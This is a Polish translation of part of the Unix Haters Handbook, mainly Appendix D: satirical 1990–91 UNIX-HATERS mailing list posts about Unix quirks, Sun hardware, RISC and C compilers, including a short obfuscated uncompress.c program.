Scenariusz „klejnot podobny do diamentu” jest następujący:Dobra rzecz wymaga wieczności na zaprojektowanie, ale jest całkiem mała na każdym

etapie drogi. Zaimplementować ją w sposób szybko działający jest niemożliwe albo poza zasięgiem możliwości większości implementatorów.

Te dwa scenariusze odpowiadają Common Lisp i Scheme. Pierwszy scenariusz jest scenariuszem dla klasycznego oprogramowania sztucznej inteligencji.

Dobra rzecz jest często monolitycznym fragmentem programu, ale nie ma innego powodu niż ten że dobra rzecz jest często projektowana monolitycznie. Tak jest, ta cecha jest zbiegiem okoliczności.

Lekcja jaka z tego płynie jest taka, że zwykle niepożądane jest pójście najpierw do dobrej rzeczy. Lepiej zrobić połowę dobrej rzeczy która jest dostępna i rozprzestrzenić ją jak wirus. Kiedy ludzie się przyzwyczają, jest czas na ulepszenie do 90% dobrej rzeczy.

Zła lekcja jaka z tego płynie jest stwierdzenie, że C jest dobrym pojazdem dla oprogramowania AI. Rozwiązanie 50% jest w zasadzie dobre, ale nie w tym przypadku.

199

Page 200: Unix Haters Handbook

Załącznik D: Fragmenty listy dyskusyjnej UNIX-HATERS

Uwaga: tego załącznika nie było w oryginalnej wersji UNIX-HATERS Handbook. Kiedy znalazłem w Internecie częściowe archiwum listy dyskusyjnej UNIX-HATERS, zdecydowałem się na zamieszczenie niektórych wybranych fragmentów jako załącznika. Niektórych i wybranych, ponieważ całość ma około 500 stron, a ponadto tłumaczenie całości mijałoby się z celem. Wybór jakiego dokonałem jest całkowicie subiektywny, niemniej jednak każdy chcący zapoznać się z wspomnianym archiwum w oryginale, może to uczynić bez trudu, gdyż jest ono dostępne w Internecie.

From: PSDate: Thu, 4 Oct 90 00:38:23 EDTSubject: Unix English (Was: Person Transfer Protocol)

Faktycznie, kilka dalszych przemyśleń o używaniu czasowników opisujących komunikację przez Unixowych świrów spowodowało, że zacząłem myśleć o tym, jak Unixowe świry używają rzeczowników opisujących komunikację. Transformują rzeczownik w czasownik, a potem używają reguły cytowanej powyżej na nowym czasowniku, wycinając wszystkie przyimki których można się spodziewać przed nowym czasownikiem. Tak więc „send a message to me” to „message me” w języku świrów Unixowych.

Przez analogię, „send a letter to me” stanie się „letter me”, a „read a book to me” stanie się „book me” w języku świrów Unixowych. Jeśli rozważymy, że „throw the book at me” także zostanie przetłumaczone na „book me”, widzimy że język świrów Unixowych jest pełen możliwości złych interpretacji.

Date: Thu, 4 Oct 1990 02:24-0400From: KPSubject: Re: Unix English

Aha. Najwyraźniej dlatego Unix jest tak ciężko gnębiony przez błędy ortograficzne i dziwaczne przypadki. Prawdopodobnie oni nie tracą informacji kiedy dokonują takiej transformacji. Raczej zwrot „read me a book” może być mapowany do „book me”, ale „throw the book at me” może być tłumaczony jako „Book me”, a „give the book to me” jako „bk me” i tak dalej.

(Fakt że wszystkie one są wymawiane tak samo jest prawdopodobnie błędem nie w interfejsie użytkownika, ale raczej w narządzie mowy użytkownika).

Z kombinacjami typu „bOOk mE” możliwymi jako semantycznie różne istnienia, prawdopodobnie mogą jednoznacznie wyrazić wystarczająco dużo zdań dla zaspokojenia codziennych potrzeb użytkowników.

To doprowadziło mnie do pytania o ustanowione wierzenia co do źródeł Unixa. Zawsze przypuszczałem że w tych wczesnych dniach komendy były pisane przez ludzi nie znali ortografii. Ale jeśli oni znali ortografię, ale nie znali wystarczającej ilości słów – być może znali tylko jedno albo dwa słowa i byli zmuszeni to skompensować.

Idąc tą drogą rozumowania, pierwotny Unix mógł być zorganizowany zupełnie inaczej niż ludzie myślą – może wokół jednego słowa (albo dwóch czy trzech), ale z tonami różnych

200

Page 201: Unix Haters Handbook

pisowni i wielkości liter odpowiadającym miriadom subtelnych rozróżnień językowych wymaganych nawet przez prymitywne jaszczury które jeszcze nie wyszły ze swojego shella.

Komendy typu „doIt”, „doit”, „DOIT”, „doiT” itd. mogły zawładnąć światem. Wow. To fascynujące. Dziękuję za wskazanie mi tej drogi rozumowania.

Cóż, jest późno i powinienem spać. A może śpię, i cały ten Unixowy biznes jest tylko złym snem. Chciałbym.

kp

Date: Fri, 2 Nov 90 5:13:51 ESTFrom: RASubject: Unix and basic arithmetic

Chyba w końcu dowiedziałem się co oznacza nazwa programu „more”. Właśnie udało mi się odczytać 120% pliku.

Date: Fri, 30 Nov 1990 17:51-0500From: KPSubject: Re: Lazy Prompting

Date: Fri, 30 Nov 1990 17:17 ESTFrom: DC

Pewnie zauważyłeś, że często kiedy otwierasz połączenie sieciowe do Unixa, drukuje nagłówek i potem nic się nie dzieje; nie dostajesz promptu login:. Jeśli wciśniesz return, dostajesz prompt.

Nie mogę sobie wyobrazić żadnego modelu na świecie w którym to ma sens, i dochodzę do wniosku że coś złego, prawdopodobnie z udziałem Starszych Bogów i/lub Charlesa Keatinga się tu dzieje.

Nie wiem nic o tej „złej” rzeczy. Unix sam w sobie jest zły, ale to nie oznacza że każda akcja jaką podejmuje jest automatycznie zła. (Niektóre z nich są niewinnie głupie, na przykład). Oto kilka możliwych wyjaśnień takiego zachowania bez żadnej potrzeby odwoływania się do sił nadprzyrodzonych:

- Jak wszyscy wiemy, zestaw komend Unixa nie jest dla ludzi o słabych sercach. Może Unix próbuje się bronić przed ludźmi mającymi niewłaściwe oczekiwania poprzez mądry interfejs poprzez odekranowanie się od potencjalnych użytkowników, i przez kubeł zimnej wody dla tych którzy myślą że z faktu połączenia się z maszyną wynika od razu, że mogą się tam zalogować.

- Może jest tu jakiś ciekawy back-door o którym nie wiemy. Być może każdy po prostu zakłada że Unix czeka na return aby wyświetlić prompt logowania, ale jeśli wiesz lepiej i wciśniesz magiczną kombinację klawiszy we właściwym momencie zostaniesz wpuszczony bez logowania. Może zanim stwierdzi „proszę się zalogować” szepcze „proszę się włamać”.

- Może to tylko jakaś optymalizacja. (Tło: Nieproporcjonalna liczba miłośników Unixa zwykle jest podejrzewana o posiadanie znacząco mniejszego niż przeciętny IQ, ale badania prowadzone przez ekspertów – tych samych którzy badają skutki palenia

201

Page 202: Unix Haters Handbook

papierosów – nigdy tego nie dowiodły. I nawet wśród tych którzy myślą gdzie jest korelacja, jest wzburzona dyskusja o tym czy niski IQ powoduje zainteresowanie Unixem czy na odwrót). Może być tak, że duża liczba miłośników Unixa ma tak ograniczoną pamięć, że zapominają po co połączyli się z daną maszyną i zapominają się zalogować. Więc może implementatorzy Unixa po prostu zaoszczędzają instrukcje I/O dla częstych sytuacji w których użytkownicy wyłączają się przed zalogowaniem i nie ma potrzeby całego tego wypisywania "Login:" którego można by się spodziewać w dłuższej sesji. (Z drugiej strony, biorąc pod uwagę całkowitą użyteczność środowiska Unixa, mogą być też mądrzy użytkownicy którzy zdają sobie sprawę na tym wczesnym etapie sesji że właściwie nie ma sensu się logować. Hmmm...)

From: DCDate: Mon, 17 Dec 90 11:39:08 -0800Subject: Unix Fellates Worm-Infested Camels

Myślę, że zidentyfikowałem fundamentalny problem z Unixem. Nie jest on taki jak w temacie. Jest taki, że

NIKT Z NIM NIC NIE ROBI.

Unix jest pełen głupich błędów które każdy kompetentny hacker naprawiłby w 10 minut. Ale zamiast tego 10 minut jest marnowane przez każdego hackera. „Tak, to kolejny głupi błąd Unixa. Ech. Cóż, napiszemy szczegółowe obejście problemu...” Problem jest kulturowy: wygląda to na podejście „nie możesz walczyć z ratuszem”.

ITS i lispm są lepsze nie dlatego że są lepiej zaprojektowane (może są, ale Bóg wie ile mają w sobie uszkodzeń mózgu), ale dlatego że mają kulturę „Ten edytor przestrzeni nazewniczej z Symbolicsa jest do dupy, więc poświęcę 10 minut na napisanie lepszego i zainstaluję go na b:”.

Nie mogę tylko zrozumieć dlaczego nie ma wielkiego rynku dla poprawionego oprogramowania Unixowego. Na przykład wygląda na to że byłoby przyszłościowe napisanie przyzwoitego makroprocesora C albo garbage collectora, i można by zrobić na tym pieniądze ponieważ każdy chciałby to kupić.

Ale nikt nie chce. Dlaczego? Może dlatego że świry tak się przyzwyczaiły do nie walczenia z ratuszem że nie wierzą że rzeczy mogłyby być lepsze?

From: ERSubject: Why I hate UNIX -- a UNIX weenie confessesDate: Sat, 22 Dec 90 13:26:47 EST

Dziesięć rzeczy których nienawidzę w UNIXie

(napisane przez Unixowego świra który(przynajmniej na czas trwania tej wiadomości)

Zobaczył Światło...)

202

Page 203: Unix Haters Handbook

1. Ten @!$#! system plików który musi mielić się przez trzy do pięciu minut zanim się upewni że odzyskał wystarczająco dużo witalności żeby pozwolić mi się uruchomić.

2. X. Nie mówcie mi nic o X-ie. Tylko w X musisz napisać trzy strony w Starym Sanskrycie żeby zrobić „Hello, world!”. X jest tak wypaczony i powolny że powala nawet maszyny RISC-owe na kolana. A dokumentacja X? Nie rozśmieszajcie mnie...

3. Kernel typu zlewu kuchennego uświęcający każdą niekompatybilną prowizorkę specjalnego przeznaczenia z ostatnich 10 lat. Do diabła, kto potrzebuje śmieci takich jak pakiet Indian Hill IPC albo handlerów ioctl dla każdego urządzenia I/O nowszego niż @#!$% kamienna tabliczka cały czas rezydentnych w pamięci?

4. Cztery różne (i oczywiście wzajemnie niekompatybilne) notacje znaków zastępczych. Co to za ‘.’ albo ‘?’? Czy chcesz użyć ‘*’ czy ‘.*’? Czy mogę użyć ‘+’ tu albo ‘|’ tam? Grr...

5. „Edytor” vi. Tak, to dobry przykład. Czy nie kochacie trybów wstawiania i komend? Czy nie jest piękne wcisnąć strzałkę i dostać ‘[[B’ wsadzonych w wasz tekst?

6. $#@&!!# domyślne ósemkowe [escapes] we wszystkich narzędziach, z którymi ugrzęźliśmy na zawsze ponieważ Ritchie myślał że ważniejsze jest wsparcie dla ręcznie hackowanych trzybitowych pól kodów operacji w PDP11 niż możliwość czytania zrzutów danych na bitowo-adresowalnej maszynie.

7. Kompilator pcc, około trzy do pięciu lat zacofany w czasie i będący jedyną poważną implementacją nie wspierającego cholernego standardu ANSI (nie to, żeby X3J11 nie mieli własnego udziału w uszkodzeniach mózgu).

8. Zależności danych we wszystkich tych czystych „filtrach” którymi Unixoidzi lubią się entuzjazmować. Czy próbowaliście przepuszczać znaki null dla graficznego [escape] przez nroff albo kolejkę drukarki? Albo wpisać znaki graficzne do cat(1) poprzez shell?

9. Narzędzia przetwarzania tekstu które po cichu obcinają długie linie. Co lepsze: bufory o stałej długości jak okiem sięgnąć we wszystkich narzędziach z jednoczesnym brakiem sprawdzania długości wejścia, więc możesz zaśmiecić statyczne dane, zmiażdżyć swój stos albo gorzej („gorzej” jak w robaku RTM).

10. I na dodatek nie ma !@#$@ legalnych kodów źródłowych przy pomocy których można by te rzeczy naprawić. To jest najbardziej wkurzające ze wszystkiego.

From: PSDate: Thu, 17 Jan 91 16:31:43 ESTSubject: 25 ^D's = logout despite ignoreeof

Pamiętacie starą zasadę Unixową „Powiem ci to trzy razy”? I to, że nawet jeśli masz ustawione ignoreeof, wpisanie kolejno 25 ^D spowoduje wylogowanie? Kiedy pierwszy raz usłyszałem o tym pomyślałem: „Oczywiście, to zabezpieczenie dla wyłączenia otwartej linii produkującej losowy szum. Ma sens.”

Wyjaśniałem to komuś i doszło do mnie, że linia produkująca losowe, równomiernie rozłożone 8-bitowe znaki będzie potrzebowała dużo czasu żeby wygenerować 25 znaków ^D w rzędzie. Faktycznie, jeśli pomyśli się o procesie którego stan określony jest ostatnimi przeczytanymi 25 znakami, prawdopodobieństwo że proces ten znajdzie się w stanie w którym ostatnie 25 znaków będzie znakami ^D wynosi 1/25625, a oczekiwana liczba znaków pomiędzy sekwencjami 25 x ^D wynosi:

1606938044258990275541962092341162602522202993782792835301376

203

Page 204: Unix Haters Handbook

Ale musi być także oczekiwana liczba znaków od sekwencji 24 x ^D do 25 x ^D. Ponieważ potrzebujemy sekwencji 24 ^D zanim możemy mieć 25 x ^D, oczekiwana liczba znaków po których nastąpi pierwsza sekwencja 25 ^D to liczba po której nastąpi sekwencja 24 ^D plus numer powyżej. Jeśli postąpimy według tej reguły rekursywnie, znajdziemy że oczekiwana liczba znaków przed pierwszą sekwencją 25 ^D to suma 256^i dla i od 1 do 25, czyli (25626 – 256) / 255, albo

1613239762079613766818597237801324024492878299640764571910400

Jeżeli znaki są generowane w tempie 19200 bodów, to zajmie jakieś

2,66435 x 1048 lat.

To powyżej MTBF większości komputerów Unixowych. Faktycznie, to powyżej MTBF wszechświata!

Tak więc przeznaczenie tej zadziwiającej funkcji Unixa pozostaje tajemnicą!

From: DCDate: Mon, 11 Feb 91 15:24:57 -0800Subject: Comments: Aleph, your From field is missing appropriate domain qualifiers after dec-lite.Subject: Re: Ftp Wildcards Have Worked Right Since 1978

„Synu, kiedy byłem w twoim wieku, email działał. Mogłeś wysłać pocztę z MIT do każdego miejsca w kraju, i on tam dochodził. To było w czasach przed ogłoszeniem monopolu Poczty na email wprowadzonego w trakcie Wielkiego Załamania po wojnie ’91. To było nawet przed unixem... Pamiętam kiedy Departament Informatyki narzucił obowiązkowe posiadanie unixa w domu w czasie Wojny Japonomicznej i Świry dostali ponad-Konstytucyjną władzę...”

„Zamknij się, dziadku, Jim próbuje podłączyć wejście optyczne do tego złącza które znaleźliśmy w tym kraterze bomby w Embarcadero.”

„Synu, w moich czasach, komputery były tworzone w tym kraju. Faktycznie prowadziliśmy na świecie w komputerach... Ameryka była wielka w tych dniach. To było przed rozwiązaniem armii... Wyglądało to wtedy na dobry pomysł; kto mógł pomyśleć że dojdzie do uderzenia informatycznego? Dostarczaliśmy broń wysokiej technologii a Japonia dostarczała pieniądze... Szkoda że armia lepiej walczyła z Kongresem niż z Brazylijczykami...”

„Zamknij się, dziadku.”„Wiesz, w moich czasach ekrany nie były takie, ale przynajmniej nie było tych

wszystkich reklamowych okien pokazujących się ciągle...”„Komercyjne flashe, dziadku.”„Tak, tak, jakkolwiek wy je nazywacie... i mogłeś zrozumieć komputery, ponieważ

zawsze mogłeś zajrzeć do kodu źródłowego jeśli działo się coś dziwnego...”„’Kod źródłowy.’”„Wiesz, programy. Te bebechy powodujące że komputery działają.”„Daj spokój, dziadku, każdy wie że trzeba mieć japoński mózg żeby zrozumieć

komputery.”„Nie wierz w tą rasistowską propagandę! W moich czasach rozumiałem dobrze

komputery i jestem biały jak śnieg.”

204

Page 205: Unix Haters Handbook

„Tak? Jeśli jesteś taki mądry, dlaczego nie naprawisz Cybermate? Jeśli jesteś taki mądry, dlaczego nie możesz napisać emaila do Mamy w Colorado, co? Jeśli jesteś taki mądry, dlaczego nie wyjmiesz przewodów z mózgu Mike’a? I jeśli jesteś taki mądry, jak trafiłeś na Pomoc Nipponu dla Trzeciego Świata jak my wszyscy? Odpowiedz mi na to! Albo zamknij się do k***y nędzy!”

From: JWDate: Fri, 15 Feb 91 22:32:27 ESTSubject: Bugs Everywhere

To z Berkeley. Ciekawe jak zauważą różnicę?

Subject: 4.3BSD-Reno fsck fixFrom: [email protected] (Keith Bostic)Index: sbin/fsck/pass2.c 4.3BSD-Reno

Opis:Jest niezainicjowana zmienna w wersji fsck(8) rozprowadzanej z 4.3BSD-Reno

która może spowodować że fsck zniszczy system plików zamiast go naprawić. Ten problem występuje TYLKO w systemach 4.3BSD-Reno.

Poprawka:Zastosuj następującą łatę:[...]

From: WWDate: Tue 19 Feb 91 16:25:03-PSTSubject: Re: Worse is better

>> Poszedłem kiedyś żeby posłuchać wykładu Thompsona na MIT. Thompson powiedział że >> jeden z profesorów powiedział do niego: „Nienawidzę cię. UNIX zatrzymał wszystkie >> badania systemów operacyjnych.” Thompson przepraszał.

Właściwie większość winy ponoszą producenci sprzętu. Przez 15 lat rozwiązaniem było dawanie więcej sprzętu (pamięci, cykli CPU, koprocesorów graficznych itp.) użytkownikom. Unix ma wątpliwą zaletę wyglądania jak „prawdziwy system operacyjny” dla mikroprocesorowego tłumu (używającego CPM/MSDOS/itp.).

Więc oni myślą że kiedy zainstalują Unixa, zamieni on ich system w „prawdziwy komputer”. W praktyce Unix jest tylko minikomputerowym systemem operacyjnym (w najlepszym razie). Więc kończą z komputerem który ma więcej MIPS-ów niż mainframe z lat 70., więcej pamięci niż mainframe z lat 70., więcej dysku niż mainframe z lat 70. i minikomputerowy system operacyjny z lat 70. I działa mniej więcej tak szybko jak minikomputer z lat 70., i obsługuje taką samą liczbę użytkowników.

Dziwne jest to że ktokolwiek jest zdziwiony.

From: SSDate: Sun, 10 Mar 91 09:41:44 ESTSubject: ps - A Great Feature For Protecting Viruses

205

Page 206: Unix Haters Handbook

Lou Reed mówi, że nie można być zależnym od inteligencji – potrzebujesz wiary żeby działać.

Mała radość – nie możesz być zależny od „ps” żeby uzyskać nazwę procesu. Zawsze kiedy uruchamiam duży proces lisp-a na moim HP835, przez dobrą minutę ps może wyrzucić wszystko co chce jako nazwę procesu. To musi być zawstydzone – zwykle nazywa moje procesy lisp-a według tego, co ostatnio uruchamiałem – jak /usr/local/emacs, /usr/bin/mail albo /usr/local/3d (moja aplikacja renderująca).

Jeden powód dla którego się tym przejmuję jest taki, że próbowałem napisać program który się upewni że dokładnie tylko jedna kopia lisp-a i 3d jest uruchomiona na mojej maszynie. W ten sposób mogą ze sobą rozmawiać, nawet jeśli coś się wywali. Oczywiście było głupotą z mojej strony, że nie zdawałem sobie sprawy że ps mówi mi że jest uruchomiony proces /usr/local/3d co NAPRAWDĘ oznacza że nie ma żadnego procesu 3d, zamiast tego startuje lisp. Mój program próbował ubić błędny proces 3d, ale zawsze wtedy mój lisp dostawał kulkę w plecy.

Dla przykładu, oto dwa kolejne uruchomienia ps. Zauważ, jak proces 6124 decyduje się zamaskować jako komenda grep która go szuka. TUTAJ jest szkoła przetrwania dla autorów wirusów.

iguana@okay> ps -ef | grep lisp iguana 6140 5146 4 09:14:57 ttysa 0:00 grep lisp iguana 6124 5921 36 09:14:40 ? 0:03 grep lispiguana@okay> ps -ef | grep lisp iguana 6142 5146 2 09:14:59 ttysa 0:00 grep lisp iguana 6124 5921 31 09:14:40 ? 0:04 /ok/usr/local/lisp/biglisp

From: Andy BealsDate: Thu, 21 Mar 91 12:17:06 -0800Subject: Of Filesystems And Inodes

Zawsze nienawidzę kiedy temu szpilkogłowemu systemowi brakuje i-węzłów. „/usr, write failed, out of inodes”. Idziesz i robisz „df” aby się przekonać ile miejsca jest wolne i okazuje się że i-węzły są jedyną rzeczą jakiej ci brakuje – mogą być miliony megabajtów wolnego miejsca na tej głupiej rzeczy ale nie zaalokuje magicznych „i-węzłów” z regularnego „wolnego miejsca” na dysku ani na odwrót.

Dlaczego programy które nie powinny gubić danych (jak programy pocztowe) nie sprawdzają czy głupi dysk nie jest zapełniony i nie zachowują się odpowiednio do tego? Chyba Eric Allman był tak cholernie zajęty dodawaniem backdoorów że nie mógł sprawdzić czy ostatnie wykonane wywołanie write() nie zwróciło złego statusu.

From: JWDate: Fri, 22 Mar 91 21:34:47 ESTSubject: Re: Wait, I Thought RISC Was A *Good* Idea

From: WWDate: Fri 22 Mar 91 17:58:59-PSTSubject: Re: Wait, I Thought RISC Was A *Good* Idea

„RISC jest dla sprzętu tym samym co system operacyjny [sic] UNIX dla oprogramowania.”

206

Page 207: Unix Haters Handbook

Cytat jest całkowicie prawdziwy. RISC jest leniwym rozwiązaniem według linii „cóż, nie wiemy jak napisać kompilatory efektywnie używające złożonych instrukcji i nie umiemy zaprojektować złożonego sprzętu który by szybko działał, więc zrobimy wszystko proste, i możemy reklamować że mamy 80 MHz pomimo tego że system obsługuje mniej użytkowników niż 1 MIPS-owy DEC-20”.

To dokładna analogia do filozofii „możesz użyć pipes, redyrekcji i skryptów shellowych do zrobienia wszystkiego, więc nie musisz pisać żadnych PRAWDZIWYCH programów” i „przenośność jest ważniejsza niż używalność” tak szalejących w świecie Unixa.

Hej. To jest UNIX-haters, nie RISC-haters. Jest inna lista do tego, tyle że nazywa się RISKS, i – co? A teraz coś z zupełnie innej beczki? O, przepraszam. Nieważne.

Wczoraj miałem unikalną przyjemność zostania zabitym przez dwa ptaki jednym kamieniem, jako że musiałem zainstalować Unixa na klonie PC. Muszę tu wskazać że to nie był „jakiś” Unix, ale AT&T System 5 Release 3.2 Version 2.1.

W porządku; dla tych którym PC nie są bliskie (jak dla mnie), pierwszą rzeczą jaką robisz w takich sytuacjach jest stwierdzenie jaki dysk ma PC. Nie ma problemu. 918 cylindrów, 15 głowic, 17 sektorów na ścieżkę. PC zapamiętuje to w podtrzymywanym baterią RAM-ie, i jest standardowa funkcja BIOS-a aby uzyskać te informacje przez każdego komu to potrzebne.

Dobra. Teraz formatowanie dysku. Nie ma problemu, program formatujący (dostarczony z Unixem) stwierdził że jest 918, 15, itd. i formatuje dysk, radośnie mówiąc że mam 120 MB miejsca na dysku.

Potem trzeba „spartycjonować” dysk, co po prostu oznacza powiedzenie że chcesz użyć X procent na Unixa i Y procent na DOS-a i tak dalej, i znowu, mój dostarczony z Unixem partycjoner mówi że jest 918, 15, itd. i znów mówi że mam 120 MB miejsca na dysku.

Potem znów trzeba „spartycjonować” dysk, ale tym razem mówimy o zwyczajnych Unixowych „partycjach”, czyli podzieleniu dysku na kawałki. Nie ma problemu, mój dostarczony z Unixem program do partycjonowania radośnie stwierdza że ma 72 MB miejsca na dysku do działania, i, hmm, zaraz. 72? Co k***a jest?

Ostatecznie (i mam tu na myśli ostatecznie, ponieważ jak prawdopodobnie zdajecie sobie sprawę uruchomiłem Unix z dyskietki żeby to wszystko zrobić), doszedłem do wniosku że mój Unixowy program do partycjonowania wie że mój dysk ma 9 głowic. Faktycznie wie także że ma 1024 cylindrów, ale mogę z tym żyć. Ta informacja jest wkompilowana.

Wielu z was zatrzyma się tutaj, patrząc ze zrozumieniem na osobę obok, mówiąc „Oczywiście. W końcu to Unix.” i wyrzuca PC przez okno. Niestety laboratorium nie miało okna, więc musiałem go zostawić.

W końcu doszedłem do końcowego oświecenia. Kernel Unixa sam w sobie, którego jeszcze nawet nie uruchomiłem, ma wkompilowaną geometrię dysku. I on wie, że dysk ma 9 głowic. Możesz to zmienić, oczywiście, ale nie wcześniej niż go uruchomisz. Więc aby uchronić się przed pokaleczeniem, Unixowy partycjoner jest także ustawiony na dysk mający 9 głowic i odpowiednio go partycjonuje. Kiedy uruchomisz to wszystko, zrekonfgurujesz kernel Unixa żeby miał właściwą informację o twoim dysku, uruchomisz znowu program partycjonujący z opcją omijającą wkompilowane informacje i ponownie utworzysz systemy plików właśnie usunięte przez repartycjonowanie, wszystko jest gotowe.

To właściwie nie jest wina AT&T. To wina firmy bez nazwy która dostarczyła ten konkretny Unix, i programisty który pisał sterownik dysku; osoba która z pewnością studiowała Drogę Unixa przez wiele, wiele lat.

207

Page 208: Unix Haters Handbook

From: DHDate: Fri, 22 Mar 91 18:58:28 PSTSubject: Hating Unix Means Hating Risc

Date: Fri, 22 Mar 91 21:34:47 ESTFrom: JW

Hej. To jest UNIX-haters, nie RISC-haters.

Patrzcie, ci goście z Berkeley zdecydowali zoptymalizować swój chip dla C i programów Unixowych. To wynika jasno z ich dokumentu. Popatrzyli na to jak zachowują się programy C i (potem) jak zachowuje się Unix, i zrobili chip który działa w ten sposób. Co z tego że trudno zrobić [downward lexical funargs] kiedy musisz rejestrować okna? To chip specjalnego przeznaczenia, pamiętasz?

Tylko firmy takie jak Sun wypuszczają swoje maszyny RISC-owe. Aby uczynić je bardziej atrakcyjnymi dumnie wskazują „i oczywiście używa świetnego RISC-a ogólnego przeznaczenia. Jest ogólnego przeznaczenia dlatego że świetnie działa na nim Unix i C!”

To, jak przypuszczam, jest wariacja zwyczajnej choroby „sposób w jaki zrobiono to w Unixie jest definicją ogólnego przypadku”.

From: RSDate: Fri, 3 May 91 23:11:02 EDTSubject: How To Go From Bad To Worse With One Prom Upgrade.

Z jakiegoś powodu, na Sparc-ach, Sun nie uważa że numery urządzeń SCSI są wystarczająco dobre, więc wymyślili sobie własne. Kiedy grzebiesz się w sprzęcie musisz pamiętać że 3 to 0 a 0 to 3, i że 4 to twój napęd taśmowy. Cóż, w końcu zostawili 1, 2, 5, 6 i 7 w spokoju.

Teraz mam ten zewnętrzny dysk podłączony, a jego ID jest ustawione na 0, co oznacza że to urządzenie nr 3, i chcę zabootować z taśmy tak żebym mógł zainstalować sunos na nim. Więc zgodnie z instrukcją instalacji, napisałem „b st()” żeby zabootować z taśmy SCSI.

Bzzt. Nowe ROM-y nie obsługują tej składni dla bootowania z taśmy, i w 5- czy 6-liniowym komunikacie błędu informują mnie że nowa właściwa składnia dla bootowania z taśmy to „b tape”. Cóż, czy nie jest to miłe i przyjazne użytkownikowi? Więc napisałem „b tape” i zainstalowałem Unixa na sd3 (czyli właściwie dysku 0), ostrożnie unikając pisania na sd0 (który jest właściwie dyskiem 3) i przeszedłem do rebootu.

Bzzt. Składnia „b sd(0,3,0)” nie jest już obsługiwana. Teraz trzeba mówić „boot disk”. Dobrze, to miłe, ale nie chcę bootować z dysku 3 (sd0), chcę bootować z dysku 0 (sd3). Więc otworzyłem instrukcję. Nic. Próbowałem zadzwonić do Sun-a ale nie chcieli mi pomóc ponieważ nazwisko mojego szefa jest na kontrakcie i nie było go w pobliżu żeby im powiedział że jest OK ze mną rozmawiać.

Więc pobawiłem się tym przez chwilę i w końcu zmusiłem go do uruchomienia. Z powodów które pozostawiły mnie cokolwiek zaintrygowanego, Sun zdecydował na zmianę składni „b sd(0,3,0)” na „b /sbus/esp@0,800000/sd@0,0”. Czy to nie miłe, mały system plików Unixa w monitorze PROM-u!

208

Page 209: Unix Haters Handbook

Uspokoiłem się wiedząc że moje dyski są na sbus – martwiłem się że przed chwilą zostały stąd wyrwane. Powinno się dać tym gościom nagrodę, ponieważ w końcu naprawili rozbieżność numerów SCSI i dysków. Przynajmniej w monitorze PROM-u. Kiedy już zabootowałem z sd@0,0 Sparcstation puścił radośnie fsck na partycji głównej na (zgadliście), sd3.

Wysłaliśmy tą potworność następnego dnia do Japonii, więc przy odrobinie szczęścia nie będę musiał przez jakiś czas znów się z tym męczyć.

From: ARDate: Thu, 16 May 91 14:20:05 EDTSubject: Seen On comp.compression

/*uncompress.c by James A. Woods and Paul Eggert*/#include<stdio.h>#define G getchar()#define H (w=g())#define K [69001]#define P putchar#define Q 256#define W while#define X return 0#define Z w=Q;W(w--)t[w]=0long c,f,m,o,w;int O,S,e,i,k,n,q,t K;char D K,h K;longg(){char*p;if(m<f&n<k&&(m=(1l<<++n)-1)||O>=S){O=0;S=fread(D,1,n,stdin)*8;if (S<8)X-1;S-=n-1;}p=D+O/8;q=O&7;O+=n;X,(1<<8-q)-1&*p>>q|m&((15<n+q)*p[2]*Q|p [1]&255)<<8-q;}main(){char*p=D+Q;G;G;k=G;e=k>>7&1;k&=31;if(k>16)X,perror ("uncompress"),1;Z,h[w]=w;n=8;f=Q+e;i=o=H;if(o<0)X,1;P(i);W(H+1){if(w==Q&e){Z;m=n=8;f=Q;if(H<0)X;}c=w;if(w>=f)*p++=i,w=o;W(w>=Q)*p++=h[w],w=t[w];P(i=h[w]);W(p>D+Q)P(*--p);if((w=f)<1l<<k)t[w]=o,h[f++]=i;o=c;}X;}

Niewiele gorszy niż typowy kod źródłowy Unixa….

From: PCDate: Thu, 13 Jun 1991 10:23:43 PDTSubject: Scheduled Crash Time

Następująca notatka pojawiła się ostatnio w mojej skrzynce, wysłana do wszystkich użytkowników Macintoshy tutaj. TOPS jest serwerem plików dla Macintoshy, działającym na Unixie.

Temat: Harmonogram padów serwera TOPS

Paddington, serwer TOPS Sun-a, chce się wywalać mniej więcej po każdych 11 godzinach. Nie znaleźliśmy jeszcze rozwiązania tego problemu, więc mamy tutaj takie obejście:

Paddington automatycznie padnie o 4:03, 12:03 i 20:03. Należy zamknąć wszystkie pliki i odmontować wszystkie wolumeny związane z Paddingtonem przed każdym padem.

From: JL

209

Page 210: Unix Haters Handbook

Date: Fri, 9 Aug 91 07:24:56 EDTSubject: One Way To Improve C ...

To co jest straszne to to, że mamy tutaj OGROMNE ulepszenie – i nie w humorze! – w stosunku do typowego Unixowego kompilatora C.

(Z drugiej strony, drugi komunikat trochę mnie dziwi, jako że nie ma niczego nielegalnego w opisywanej sytuacji. Ciekawe co go wywołuje.)

Oto niektóre komunikaty błędów wyprodukowane przez kompilator C Apple MPW. Wszystkie są prawdziwe. (Jeśli musisz wiedzieć nudziłem się pewnego popołudnia i zdekompilowałem zasoby String dla kompilatora. Kompilator ma 324 kB więc są to tylko wyjątki.

[z powodu mojej nieznajomości C pozostawiam komunikaty nieprzetłumaczone, są jednak bardzo ciekawe]

"String literal too long (I let you have 512 characters, that's 3 more than ANSI said I should)"

"...And the lord said, 'lo, there shall only be case or default la-bels inside a switch statement'"

"a typedef name was a complete surprise to me at this point in your program"

"'Volatile' and 'Register' are not miscible""You can't modify a constant, float upstream, win an argument with

the IRS, or satisfy this compiler""This struct already has a perfectly good definition""This onion already has a perfectly good definition""type in (cast) must be scalar; ANSI 3.3.4; page 39, lines 10-11 (I

know you don't care, I'm just trying to annoy you)""Can't cast a void type to type void (because the ANSI spec. says so,

that's why)""Huh ?""can't go mucking with a 'void *'""we already did this function""This label is the target of a goto from outside of the block con-

taining this label AND this block has an automatic variable with an ini-tializer AND your window wasn't wide enough to read this whole error mes-sage"

"Call me paranoid but finding '/*' inside this comment makes me sus-picious"

"Too many errors on one line (make fewer)""Symbol table full - fatal heap error; please go buy a RAM upgrade

from your local Apple dealer"

From: DMDate: Wed, 18 Sep 91 18:21:14 EDTSubject: Serendipity

Tego ranka potrzebowałem czegoś ciężkiego i kwadratowego żeby przytrzymać coś w miejscu.

Nie miałem nic takiego pod ręką, więc rozejrzałem się po bibliotece aż znalazłem niepodpisane kartonowe pudełko które wydawało się mieć właściwe rozmiary i być wystarczająco ciężkie. Świetnie, działało dobrze. Kiedy skończyłem i wkładałem je na miejsce gdzie je znalazłem, z ciekawości otworzyłem pudełko żeby zobaczyć co tam było.

210

